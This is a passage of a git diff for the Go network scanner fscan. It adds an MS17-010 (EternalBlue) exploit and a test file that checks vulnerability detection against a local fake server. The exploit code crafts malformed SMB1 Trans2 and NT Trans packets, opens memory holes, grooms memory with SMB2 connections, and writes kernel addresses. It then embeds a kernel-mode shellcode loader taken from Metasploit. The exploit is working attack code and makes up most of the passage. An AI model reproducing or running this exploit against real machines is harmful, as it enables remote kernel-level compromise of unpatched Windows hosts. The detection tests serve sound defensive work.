append(osName, b[i]) + } + return string(osName), nil +} + +func treeConnectAndX(conn net.Conn, address string, userID uint16) (*smbHeader, error) { + buf := bytes.Buffer{} + + // --------NetBIOS Session Service-------- + + // message type + buf.WriteByte(0x00) + // length, it will changed at the end of the function + buf.Write([]byte{0x00, 0x00, 0x00}) + + // --------Server Message Block Protocol-------- + + // server component + buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42}) + // smb command: Tree Connect AndX + buf.WriteByte(0x75) + // NT status + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // flags + buf.WriteByte(0x18) + // flags2 + buf.Write([]byte{0x01, 0x20}) + // process id high + buf.Write([]byte{0x00, 0x00}) + // signature + buf.Write([]byte{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}) + // reserved + buf.Write([]byte{0x00, 0x00}) + // tree id + buf.Write([]byte{0x00, 0x00}) + // process id + buf.Write([]byte{0x2F, 0x4B}) + // user id + userIDBuf := make([]byte, 2) + binary.LittleEndian.PutUint16(userIDBuf, userID) + buf.Write(userIDBuf) + // multiplex id + buf.Write([]byte{0xC5, 0x5E}) + + // --------Tree Connect AndX Request-------- + + // word count + buf.WriteByte(0x04) + // AndXCommand: No further commands + buf.WriteByte(0xFF) + // reserved + buf.WriteByte(0x00) + // AndXOffset + buf.Write([]byte{0x00, 0x00}) + // flags + buf.Write([]byte{0x00, 0x00}) + // password length + buf.Write([]byte{0x01, 0x00}) + // byte count + buf.Write([]byte{0x1A, 0x00}) + // password + buf.WriteByte(0x00) + // IPC + host, _, err := net.SplitHostPort(address) + if err != nil { + return nil, err + } + _, _ = fmt.Fprintf(&buf, "\\\\%s\\IPC$", host) + // null byte after ipc added by kev + buf.WriteByte(0x00) + // service + buf.Write([]byte{0x3F, 0x3F, 0x3F, 0x3F, 0x3F, 0x00}) + + // update packet size + b := buf.Bytes() + sizeBuf := make([]byte, 4) + binary.BigEndian.PutUint32(sizeBuf, uint32(buf.Len()-4)) + copy(b[1:], sizeBuf[1:]) + + // send packet + _, err = buf.WriteTo(conn) + if err != nil { + return nil, err + } + _, header, err := smb1GetResponse(conn) + return header, err +} + +func smb1LargeBuffer(conn net.Conn, header *smbHeader) error { + transHeader, err := sendNTTrans(conn, header.TreeID, header.UserID) + if err != nil { + return fmt.Errorf("failed to send nt trans: %s", err) + } + // initial trans2 request + treeID := transHeader.TreeID + userID := transHeader.UserID + trans2Packet := makeSMB1Trans2ExploitPacket(treeID, userID, 0, "zero") + // send all but the last packet + for i := 1; i < 15; i++ { + packet := makeSMB1Trans2ExploitPacket(treeID, userID, i, "buffer") + trans2Packet = append(trans2Packet, packet...) + } + smb1EchoPacket := makeSMB1EchoPacket(treeID, userID) + trans2Packet = append(trans2Packet, smb1EchoPacket...) + + _, err = conn.Write(trans2Packet) + if err != nil { + return fmt.Errorf("failed to send large buffer: %s", err) + } + _, _, err = smb1GetResponse(conn) + return err +} + +func sendNTTrans(conn net.Conn, treeID, userID uint16) (*smbHeader, error) { + buf := bytes.Buffer{} + + // --------NetBIOS Session Service-------- + + // message type + buf.WriteByte(0x00) + // length + buf.Write([]byte{0x00, 0x04, 0x38}) + + // --------Server Message Block Protocol-------- + + // SMB1 + buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42}) + // NT Trans + buf.WriteByte(0xA0) + // NT success + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // flags + buf.WriteByte(0x18) + // flags2 + buf.Write([]byte{0x07, 0xC0}) + // PID high + buf.Write([]byte{0x00, 0x00}) + // signature1 + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // signature2 + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // reserved + buf.Write([]byte{0x00, 0x00}) + // tree id + treeIDBuf := make([]byte, 2) + binary.LittleEndian.PutUint16(treeIDBuf, treeID) + buf.Write(treeIDBuf) + // PID + buf.Write([]byte{0xFF, 0xFE}) + // user id + userIDBuf := make([]byte, 2) + binary.LittleEndian.PutUint16(userIDBuf, userID) + buf.Write(userIDBuf) + // multiplex id + buf.Write([]byte{0x40, 0x00}) + + // --------NT Trans Request-------- + + // word count + buf.WriteByte(0x14) + // max setup count + buf.WriteByte(0x01) + // reserved + buf.Write([]byte{0x00, 0x00}) + // total param count + buf.Write([]byte{0x1E, 0x00, 0x00, 0x00}) + // total data count + buf.Write([]byte{0xd0, 0x03, 0x01, 0x00}) + // max param count + buf.Write([]byte{0x1E, 0x00, 0x00, 0x00}) + // max data count + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // param count + buf.Write([]byte{0x1E, 0x00, 0x00, 0x00}) + // param offset + buf.Write([]byte{0x4B, 0x00, 0x00, 0x00}) + // data count + buf.Write([]byte{0xd0, 0x03, 0x00, 0x00}) + // data offset + buf.Write([]byte{0x68, 0x00, 0x00, 0x00}) + // setup count + buf.WriteByte(0x01) + // function + buf.Write([]byte{0x00, 0x00}) + // unknown NT transaction (0) setup + buf.Write([]byte{0x00, 0x00}) + // byte count + buf.Write([]byte{0xEC, 0x03}) + // NT parameters + buf.Write(makeZero(0x1F)) + // undocumented + buf.WriteByte(0x01) + buf.Write(makeZero(0x03CD)) + + // send packet + _, err := buf.WriteTo(conn) + if err != nil { + return nil, err + } + _, header, err := smb1GetResponse(conn) + return header, err +} + +func makeSMB1Trans2ExploitPacket(treeID, userID uint16, timeout int, typ string) []byte { + timeout = timeout*0x10 + 3 + buf := bytes.Buffer{} + + // --------NetBIOS Session Service-------- + + // message type + buf.WriteByte(0x00) + // length + buf.Write([]byte{0x00, 0x10, 0x35}) + + // --------Server Message Block Protocol-------- + // SMB1 + buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42}) + // Trans2 request + buf.WriteByte(0x33) + // NT success + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // flags + buf.WriteByte(0x18) + // flags2 + buf.Write([]byte{0x07, 0xC0}) + // PID high + buf.Write([]byte{0x00, 0x00}) + // signature1 + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // signature2 + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // reserved + buf.Write([]byte{0x00, 0x00}) + // tree id + treeIDBuf := make([]byte, 2) + binary.LittleEndian.PutUint16(treeIDBuf, treeID) + buf.Write(treeIDBuf) + // PID + buf.Write([]byte{0xFF, 0xFE}) + // user id + userIDBuf := make([]byte, 2) + binary.LittleEndian.PutUint16(userIDBuf, userID) + buf.Write(userIDBuf) + // multiplex id + buf.Write([]byte{0x40, 0x00}) + + // --------Trans2 Second Request-------- + + // word count + buf.WriteByte(0x09) + // total param count + buf.Write([]byte{0x00, 0x00}) + // total data count + buf.Write([]byte{0x00, 0x10}) + // max param count + buf.Write([]byte{0x00, 0x00}) + // max data count + buf.Write([]byte{0x00, 0x00}) + // max setup count + buf.WriteByte(0x00) + // reserved + buf.WriteByte(0x00) + // flags + buf.Write([]byte{0x00, 0x10}) + // timeouts + buf.Write([]byte{0x35, 0x00, 0xD0}) + // timeout is a single int + buf.WriteByte(byte(timeout)) + // reserved + buf.Write([]byte{0x00, 0x00}) + // parameter count + buf.Write([]byte{0x00, 0x10}) + + switch typ { + case "exploit": + // overflow + buf.Write(bytes.Repeat([]byte{0x41}, 2957)) + buf.Write([]byte{0x80, 0x00, 0xA8, 0x00}) + + buf.Write(makeZero(0x10)) + buf.Write([]byte{0xFF, 0xFF}) + buf.Write(makeZero(0x06)) + buf.Write([]byte{0xFF, 0xFF}) + buf.Write(makeZero(0x16)) + + // x86 addresses + buf.Write([]byte{0x00, 0xF1, 0xDF, 0xFF}) + buf.Write(makeZero(0x08)) + buf.Write([]byte{0x20, 0xF0, 0xDF, 0xFF}) + + // x64 addresses + buf.Write([]byte{0x00, 0xF1, 0xDF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}) + + buf.Write([]byte{0x60, 0x00, 0x04, 0x10}) + buf.Write(makeZero(0x04)) + + buf.Write([]byte{0x80, 0xEF, 0xDF, 0xFF}) + + buf.Write(makeZero(0x04)) + buf.Write([]byte{0x10, 0x00, 0xD0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}) + buf.Write([]byte{0x18, 0x01, 0xD0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}) + buf.Write(makeZero(0x10)) + + buf.Write([]byte{0x60, 0x00, 0x04, 0x10}) + buf.Write(makeZero(0x0C)) + buf.Write([]byte{0x90, 0xFF, 0xCF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}) + buf.Write(makeZero(0x08)) + buf.Write([]byte{0x80, 0x10}) + buf.Write(makeZero(0x0E)) + buf.WriteByte(0x39) + buf.WriteByte(0xBB) + + buf.Write(bytes.Repeat([]byte{0x41}, 965)) + case "zero": + buf.Write(makeZero(2055)) + buf.Write([]byte{0x83, 0xF3}) + + buf.Write(bytes.Repeat([]byte{0x41}, 2039)) + default: + buf.Write(bytes.Repeat([]byte{0x41}, 4096)) + } + return buf.Bytes() +} + +func makeSMB1EchoPacket(treeID, userID uint16) []byte { + buf := bytes.Buffer{} + + // --------NetBIOS Session Service-------- + + // message type + buf.WriteByte(0x00) + // length + buf.Write([]byte{0x00, 0x00, 0x31}) + + // --------Server Message Block Protocol-------- + // SMB1 + buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42}) + // Echo + buf.WriteByte(0x2B) + // NT success + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // flags + buf.WriteByte(0x18) + // flags2 + buf.Write([]byte{0x07, 0xC0}) + // PID high + buf.Write([]byte{0x00, 0x00}) + // signature1 + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // signature2 + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // reserved + buf.Write([]byte{0x00, 0x00}) + // tree id + treeIDBuf := make([]byte, 2) + binary.LittleEndian.PutUint16(treeIDBuf, treeID) + buf.Write(treeIDBuf) + // PID + buf.Write([]byte{0xFF, 0xFE}) + // user id + userIDBuf := make([]byte, 2) + binary.LittleEndian.PutUint16(userIDBuf, userID) + buf.Write(userIDBuf) + // multiplex id + buf.Write([]byte{0x40, 0x00}) + + // --------Echo Request-------- + + // word count + buf.WriteByte(0x01) + // echo count + buf.Write([]byte{0x01, 0x00}) + // byte count + buf.Write([]byte{0x0C, 0x00}) + // echo data + // this is an existing IDS signature, and can be null out + buf.Write([]byte{0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x00}) + + return buf.Bytes() +} + +func smb1FreeHole(address string, start bool) (net.Conn, error) { + conn, err := net.Dial("tcp", address) + if err != nil { + return nil, fmt.Errorf("failed to connect host: %s", err) + } + var ok bool + defer func() { + if !ok { + _ = conn.Close() + } + }() + err = smbClientNegotiate(conn) + if err != nil { + return nil, fmt.Errorf("failed to negotiate: %s", err) + } + var ( + flags2 []byte + vcNum []byte + nativeOS []byte + ) + if start { + flags2 = []byte{0x07, 0xC0} + vcNum = []byte{0x2D, 0x01} + nativeOS = []byte{0xF0, 0xFF, 0x00, 0x00, 0x00} + } else { + flags2 = []byte{0x07, 0x40} + vcNum = []byte{0x2C, 0x01} + nativeOS = []byte{0xF8, 0x87, 0x00, 0x00, 0x00} + } + packet := makeSMB1FreeHoleSessionPacket(flags2, vcNum, nativeOS) + _, err = conn.Write(packet) + if err != nil { + const format = "failed to send smb1 free hole session packet: %s" + return nil, fmt.Errorf(format, err) + } + _, _, err = smb1GetResponse(conn) + if err != nil { + return nil, err + } + ok = true + return conn, nil +} + +func makeSMB1FreeHoleSessionPacket(flags2, vcNum, nativeOS []byte) []byte { + buf := bytes.Buffer{} + + // --------NetBIOS Session Service-------- + + // message type + buf.WriteByte(0x00) + // length + buf.Write([]byte{0x00, 0x00, 0x51}) + + // --------Server Message Block Protocol-------- + // SMB1 + buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42}) + // Session Setup AndX + buf.WriteByte(0x73) + // NT success + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // flags + buf.WriteByte(0x18) + // flags2 + buf.Write(flags2) + // PID high + buf.Write([]byte{0x00, 0x00}) + // signature1 + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // signature2 + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // reserved + buf.Write([]byte{0x00, 0x00}) + // tree id + buf.Write([]byte{0x00, 0x00}) + // PID + buf.Write([]byte{0xFF, 0xFE}) + // user id + buf.Write([]byte{0x00, 0x00}) + // multiplex id + buf.Write([]byte{0x40, 0x00}) + + // --------Session Setup AndX Request-------- + + // word count + buf.WriteByte(0x0C) + // no further commands + buf.WriteByte(0xFF) + // reserved + buf.WriteByte(0x00) + // AndX offset + buf.Write([]byte{0x00, 0x00}) + // max buffer + buf.Write([]byte{0x04, 0x11}) + // max mpx count + buf.Write([]byte{0x0A, 0x00}) + // VC number + buf.Write(vcNum) + // session key + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // security blob length + buf.Write([]byte{0x00, 0x00}) + // reserved + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // capabilities + buf.Write([]byte{0x00, 0x00, 0x00, 0x80}) + // byte count + buf.Write([]byte{0x16, 0x00}) + // Native OS + buf.Write(nativeOS) + // extra byte params + buf.Write(makeZero(17)) + return buf.Bytes() +} + +func smb2Grooms(address string, grooms int) ([]net.Conn, error) { + header := makeSMB2Header() + var ( + conns []net.Conn + ok bool + ) + defer func() { + if ok { + return + } + for i := 0; i < len(conns); i++ { + _ = conns[i].Close() + } + }() + for i := 0; i < grooms; i++ { + conn, err := net.Dial("tcp", address) + if err != nil { + return nil, fmt.Errorf("failed to connect target: %s", err) + } + _, err = conn.Write(header) + if err != nil { + return nil, fmt.Errorf("failed to send SMB2 header: %s", err) + } + conns = append(conns, conn) + } + ok = true + return conns, nil +} + +func makeSMB2Header() []byte { + buf := bytes.Buffer{} + buf.Write([]byte{0x00, 0x00, 0xFF, 0xF7, 0xFE}) + buf.WriteString("SMB") + buf.Write(makeZero(124)) + return buf.Bytes() +} + +const ( + packetMaxLen = 4204 + packetSetupLen = 497 +) + +func makeSMB2Body(payload []byte) []byte { + const packetMaxPayload = packetMaxLen - packetSetupLen + // padding + buf := bytes.Buffer{} + buf.Write(makeZero(0x08)) + buf.Write([]byte{0x03, 0x00, 0x00, 0x00}) + buf.Write(makeZero(0x1C)) + buf.Write([]byte{0x03, 0x00, 0x00, 0x00}) + buf.Write(makeZero(0x74)) + + // KI_USER_SHARED_DATA addresses + x64Address := []byte{0xb0, 0x00, 0xd0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF} + buf.Write(bytes.Repeat(x64Address, 2)) + buf.Write(makeZero(0x10)) + x86Address := []byte{0xC0, 0xF0, 0xDF, 0xFF} + buf.Write(bytes.Repeat(x86Address, 2)) + buf.Write(makeZero(0xC4)) + + // payload address + buf.Write([]byte{0x90, 0xF1, 0xDF, 0xFF}) + buf.Write(makeZero(0x04)) + buf.Write([]byte{0xF0, 0xF1, 0xDF, 0xFF}) + buf.Write(makeZero(0x40)) + + buf.Write([]byte{0xF0, 0x01, 0xD0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}) + buf.Write(makeZero(0x08)) + buf.Write([]byte{0x00, 0x02, 0xD0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}) + buf.WriteByte(0x00) + + // set payload + buf.Write(payload) + + // fill out the rest, this can be randomly generated + buf.Write(makeZero(packetMaxPayload - len(payload))) + + return buf.Bytes() +} + +func makeZero(size int) []byte { + return bytes.Repeat([]byte{0}, size) +} + +// loader is used to run user mode sc in the kernel mode. +// reference Metasploit-Framework: +// file: msf/external/source/sc/windows/multi_arch_kernel_queue_apc.asm +// binary: modules/exploits/windows/smb/ms17_010_eternalblue.rb: def make_kernel_sc +var loader = [...]byte{ + 0x31, 0xC9, 0x41, 0xE2, 0x01, 0xC3, 0xB9, 0x82, 0x00, 0x00, 0xC0, 0x0F, 0x32, 0x48, 0xBB, 0xF8, + 0x0F, 0xD0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x89, 0x53, 0x04, 0x89, 0x03, 0x48, 0x8D, 0x05, 0x0A, + 0x00, 0x00, 0x00, 0x48, 0x89, 0xC2, 0x48, 0xC1, 0xEA, 0x20, 0x0F, 0x30, 0xC3, 0x0F, 0x01, 0xF8, + 0x65, 0x48, 0x89, 0x24, 0x25, 0x10, 0x00, 0x00, 0x00, 0x65, 0x48, 0x8B, 0x24, 0x25, 0xA8, 0x01, + 0x00, 0x00, 0x50, 0x53, 0x51, 0x52, 0x56, 0x57, 0x55, 0x41, 0x50, 0x41, 0x51, 0x41, 0x52, 0x41, + 0x53, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x6A, 0x2B, 0x65, 0xFF, 0x34, 0x25, 0x10, + 0x00, 0x00, 0x00, 0x41, 0x53, 0x6A, 0x33, 0x51, 0x4C, 0x89, 0xD1, 0x48, 0x83, 0xEC, 0x08, 0x55, + 0x48, 0x81, 0xEC, 0x58, 0x01, 0x00, 0x00, 0x48, 0x8D, 0xAC, 0x24, 0x80, 0x00, 0x00, 0x00, 0x48, + 0x89, 0x9D, 0xC0, 0x00, 0x00, 0x00, 0x48, 0x89, 0xBD, 0xC8, 0x00, 0x00, 0x00, 0x48, 0x89, 0xB5, + 0xD0, 0x00, 0x00, 0x00, 0x48, 0xA1, 0xF8, 0x0F, 0xD0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x48, 0x89, + 0xC2, 0x48, 0xC1, 0xEA, 0x20, 0x48, 0x31, 0xDB, 0xFF, 0xCB, 0x48, 0x21, 0xD8, 0xB9, 0x82, 0x00, + 0x00, 0xC0, 0x0F, 0x30, 0xFB, 0xE8, 0x38, 0x00, 0x00, 0x00, 0xFA, 0x65, 0x48, 0x8B, 0x24, 0x25, + 0xA8, 0x01, 0x00, 0x00, 0x48, 0x83, 0xEC, 0x78, 0x41, 0x5F, 0x41, 0x5E, 0x41, 0x5D, 0x41, 0x5C, + 0x41, 0x5B, 0x41, 0x5A, 0x41, 0x59, 0x41, 0x58, 0x5D, 0x5F, 0x5E, 0x5A, 0x59, 0x5B, 0x58, 0x65, + 0x48, 0x8B, 0x24, 0x25, 0x10, 0x00, 0x00, 0x00, 0x0F, 0x01, 0xF8, 0xFF, 0x24, 0x25, 0xF8, 0x0F, + 0xD0, 0xFF, 0x56, 0x41, 0x57, 0x41, 0x56, 0x41, 0x55, 0x41, 0x54, 0x53, 0x55, 0x48, 0x89, 0xE5, + 0x66, 0x83, 0xE4, 0xF0, 0x48, 0x83, 0xEC, 0x20, 0x4C, 0x8D, 0x35, 0xE3, 0xFF, 0xFF, 0xFF, 0x65, + 0x4C, 0x8B, 0x3C, 0x25, 0x38, 0x00, 0x00, 0x00, 0x4D, 0x8B, 0x7F, 0x04, 0x49, 0xC1, 0xEF, 0x0C, + 0x49, 0xC1, 0xE7, 0x0C, 0x49, 0x81, 0xEF, 0x00, 0x10, 0x00, 0x00, 0x49, 0x8B, 0x37, 0x66, 0x81, + 0xFE, 0x4D, 0x5A, 0x75, 0xEF, 0x41, 0xBB, 0x5C, 0x72, 0x11, 0x62, 0xE8, 0x18, 0x02, 0x00, 0x00, + 0x48, 0x89, 0xC6, 0x48, 0x81, 0xC6, 0x08, 0x03, 0x00, 0x00, 0x41, 0xBB, 0x7A, 0xBA, 0xA3, 0x30, + 0xE8, 0x03, 0x02, 0x00, 0x00, 0x48, 0x89, 0xF1, 0x48, 0x39, 0xF0, 0x77, 0x11, 0x48, 0x8D, 0x90, + 0x00, 0x05, 0x00, 0x00, 0x48, 0x39, 0xF2, 0x72, 0x05, 0x48, 0x29, 0xC6, 0xEB, 0x08, 0x48, 0x8B, + 0x36, 0x48, 0x39, 0xCE, 0x75, 0xE2, 0x49, 0x89, 0xF4, 0x31, 0xDB, 0x89, 0xD9, 0x83, 0xC1, 0x04, + 0x81, 0xF9, 0x00, 0x00, 0x01, 0x00, 0x0F, 0x8D, 0x66, 0x01, 0x00, 0x00, 0x4C, 0x89, 0xF2, 0x89, + 0xCB, 0x41, 0xBB, 0x66, 0x55, 0xA2, 0x4B, 0xE8, 0xBC, 0x01, 0x00, 0x00, 0x85, 0xC0, 0x75, 0xDB, + 0x49, 0x8B, 0x0E, 0x41, 0xBB, 0xA3, 0x6F, 0x72, 0x2D, 0xE8, 0xAA, 0x01, 0x00, 0x00, 0x48, 0x89, + 0xC6, 0xE8, 0x50, 0x01, 0x00, 0x00, 0x41, 0x81, 0xF9, 0xBF, 0x77, 0x1F, 0xDD, 0x75, 0xBC, 0x49, + 0x8B, 0x1E, 0x4D, 0x8D, 0x6E, 0x10, 0x4C, 0x89, 0xEA, 0x48, 0x89, 0xD9, 0x41, 0xBB, 0xE5, 0x24, + 0x11, 0xDC, 0xE8, 0x81, 0x01, 0x00, 0x00, 0x6A, 0x40, 0x68, 0x00, 0x10, 0x00, 0x00, 0x4D, 0x8D, + 0x4E, 0x08, 0x49, 0xC7, 0x01, 0x00, 0x10, 0x00, 0x00, 0x4D, 0x31, 0xC0, 0x4C, 0x89, 0xF2, 0x31, + 0xC9, 0x48, 0x89, 0x0A, 0x48, 0xF7, 0xD1, 0x41, 0xBB, 0x4B, 0xCA, 0x0A, 0xEE, 0x48, 0x83, 0xEC, + 0x20, 0xE8, 0x52, 0x01, 0x00, 0x00, 0x85, 0xC0, 0x0F, 0x85, 0xC8, 0x00, 0x00, 0x00, 0x49, 0x8B, + 0x3E, 0x48, 0x8D, 0x35, 0xE9, 0x00, 0x00, 0x00, 0x31, 0xC9, 0x66, 0x03, 0x0D, 0xD7, 0x01, 0x00, + 0x00, 0x66, 0x81, 0xC1, 0xF9, 0x00, 0xF3, 0xA4, 0x48, 0x89, 0xDE, 0x48, 0x81, 0xC6, 0x08, 0x03, + 0x00, 0x00, 0x48, 0x89, 0xF1, 0x48, 0x8B, 0x11, 0x4C, 0x29, 0xE2, 0x51, 0x52, 0x48, 0x89, 0xD1, + 0x48, 0x83, 0xEC, 0x20, 0x41, 0xBB, 0x26, 0x40, 0x36, 0x9D, 0xE8, 0x09, 0x01, 0x00, 0x00, 0x48, + 0x83, 0xC4, 0x20, 0x5A, 0x59, 0x48, 0x85, 0xC0, 0x74, 0x18, 0x48, 0x8B, 0x80, 0xC8, 0x02, 0x00, + 0x00, 0x48, 0x85, 0xC0, 0x74, 0x0C, 0x48, 0x83, 0xC2, 0x4C, 0x8B, 0x02, 0x0F, 0xBA, 0xE0, 0x05, + 0x72, 0x05, 0x48, 0x8B, 0x09, 0xEB, 0xBE, 0x48, 0x83, 0xEA, 0x4C, 0x49, 0x89, 0xD4, 0x31, 0xD2, + 0x80, 0xC2, 0x90, 0x31, 0xC9, 0x41, 0xBB, 0x26, 0xAC, 0x50, 0x91, 0xE8, 0xC8, 0x00, 0x00, 0x00, + 0x48, 0x89, 0xC1, 0x4C, 0x8D, 0x89, 0x80, 0x00, 0x00, 0x00, 0x41, 0xC6, 0x01, 0xC3, 0x4C, 0x89, + 0xE2, 0x49, 0x89, 0xC4, 0x4D, 0x31, 0xC0, 0x41, 0x50, 0x6A, 0x01, 0x49, 0x8B, 0x06, 0x50, 0x41, + 0x50, 0x48, 0x83, 0xEC, 0x20, 0x41, 0xBB, 0xAC, 0xCE, 0x55, 0x4B, 0xE8, 0x98, 0x00, 0x00, 0x00, + 0x31, 0xD2, 0x52, 0x52, 0x41, 0x58, 0x41, 0x59, 0x4C, 0x89, 0xE1, 0x41, 0xBB, 0x18, 0x38, 0x09, + 0x9E, 0xE8, 0x82, 0x00, 0x00, 0x00, 0x4C, 0x89, 0xE9, 0x41, 0xBB, 0x22, 0xB7, 0xB3, 0x7D, 0xE8, + 0x74, 0x00, 0x00, 0x00, 0x48, 0x89, 0xD9, 0x41, 0xBB, 0x0D, 0xE2, 0x4D, 0x85, 0xE8, 0x66, 0x00, + 0x00, 0x00, 0x48, 0x89, 0xEC, 0x5D, 0x5B, 0x41, 0x5C, 0x41, 0x5D, 0x41, 0x5E, 0x41, 0x5F, 0x5E, + 0xC3, 0xE9, 0xB5, 0x00, 0x00, 0x00, 0x4D, 0x31, 0xC9, 0x31, 0xC0, 0xAC, 0x41, 0xC1, 0xC9, 0x0D, + 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xEC, 0xC3, 0x31, 0xD2, + 0x65, 0x48, 0x8B, 0x52, 0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x12, + 0x48, 0x8B, 0x72, 0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x45, 0x31, 0xC9, 0x31, 0xC0, 0xAC, 0x3C, + 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0xE2, 0xEE, 0x45, 0x39, + 0xD9, 0x75, 0xDA, 0x4C, 0x8B, 0x7A, 0x20, 0xC3, 0x4C, 0x89, 0xF8, 0x41, 0x51, 0x41, 0x50, 0x52, + 0x51, 0x56, 0x48, 0x89, 0xC2, 0x8B, 0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, + 0x00, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44, 0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0x48, + 0xFF, 0xC9, 0x41, 0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0xE8, 0x78, 0xFF, 0xFF, 0xFF, 0x45, 0x39, + 0xD9, 0x75, 0xEC, 0x58, 0x44, 0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, + 0x44, 0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01, 0xD0, 0x5E, 0x59, + 0x5A, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5B, 0x41, 0x53, 0xFF, 0xE0, 0x56, 0x41, 0x57, 0x55, 0x48, + 0x89, 0xE5, 0x48, 0x83, 0xEC, 0x20, 0x41, 0xBB, 0xDA, 0x16, 0xAF, 0x92, 0xE8, 0x4D, 0xFF, 0xFF, + 0xFF, 0x31, 0xC9, 0x51, 0x51, 0x51, 0x51, 0x41, 0x59, 0x4C, 0x8D, 0x05, 0x1A, 0x00, 0x00, 0x00, + 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0xBB, 0x46, 0x45, 0x1B, 0x22, 0xE8, 0x68, 0xFF, 0xFF, 0xFF, + 0x48, 0x89, 0xEC, 0x5D, 0x41, 0x5F, 0x5E, 0xC3, +} diff --git a/plugins/services/ms17010_test.go b/plugins/services/ms17010_test.go new file mode 100644 index 0000000..f2730e2 --- /dev/null +++ b/plugins/services/ms17010_test.go @@ -0,0 +1,166 @@ +//go:build plugin_ms17010 || !plugin_selective + +package services + +import ( + "context" + "net" + "testing" + "time" + + "github.com/shadow1ng/fscan/common" +) + +func TestMS17010CheckDetectsVulnerableStatus(t *testing.T) { + addr, cleanup := startMS17010FakeServer(t, true, 45) + defer cleanup() + + session := newMS17010TestSession() + vulnerable, _, _, err := NewMS17010Plugin().checkMS17010VulnerabilityAt(context.Background(), addr, session) + if err != nil { + t.Fatalf("checkMS17010VulnerabilityAt returned error: %v", err) + } + if !vulnerable { + t.Fatal("expected vulnerable status to be detected") + } +} + +func TestMS17010CheckAcceptsMinimalSessionSetupResponse(t *testing.T) { + addr, cleanup := startMS17010FakeServer(t, true, 36) + defer cleanup() + + session := newMS17010TestSession() + vulnerable, _, _, err := NewMS17010Plugin().checkMS17010VulnerabilityAt(context.Background(), addr, session) + if err != nil { + t.Fatalf("checkMS17010VulnerabilityAt returned error: %v", err) + } + if !vulnerable { + t.Fatal("expected vulnerable status to be detected") + } +} + +func TestMS17010CheckRejectsPatchedStatus(t *testing.T) { + addr, cleanup := startMS17010FakeServer(t, false, 45) + defer cleanup() + + session := newMS17010TestSession() + vulnerable, _, _, err := NewMS17010Plugin().checkMS17010VulnerabilityAt(context.Background(), addr, session) + if err != nil { + t.Fatalf("checkMS17010VulnerabilityAt returned error: %v", err) + } + if vulnerable { + t.Fatal("expected patched status to be treated as not vulnerable") + } +} + +func TestMS17010CheckDetectsDoublePulsar(t *testing.T) { + addr, cleanup := startMS17010FakeServer(t, true, 45, withDoublePulsar()) + defer cleanup() + + session := newMS17010TestSession() + vulnerable, _, hasBackdoor, err := NewMS17010Plugin().checkMS17010VulnerabilityAt(context.Background(), addr, session) + if err != nil { + t.Fatalf("checkMS17010VulnerabilityAt returned error: %v", err) + } + if !vulnerable { + t.Fatal("expected vulnerable status to be detected") + } + if !hasBackdoor { + t.Fatal("expected DOUBLEPULSAR status to be detected") + } +} + +func newMS17010TestSession() *common.ScanSession { + cfg := common.NewConfig() + cfg.Timeout = time.Second + return common.NewScanSession(cfg, common.NewState(), &common.FlagVars{}) +} + +type ms17010FakeServerOption func(*ms17010FakeServerConfig) + +type ms17010FakeServerConfig struct { + doublePulsar bool +} + +func withDoublePulsar() ms17010FakeServerOption { + return func(cfg *ms17010FakeServerConfig) { + cfg.doublePulsar = true + } +} + +func startMS17010FakeServer(t *testing.T, vulnerable bool, sessionSetupSize int, opts ...ms17010FakeServerOption) (string, func()) { + t.Helper() + + var cfg ms17010FakeServerConfig + for _, opt := range opts { + opt(&cfg) + } + + ln, err := net.Listen("tcp", "127.0.0.1:0") + if err != nil { + t.Fatalf("listen: %v", err) + } + + done := make(chan struct{}) + go func() { + defer close(done) + conn, err := 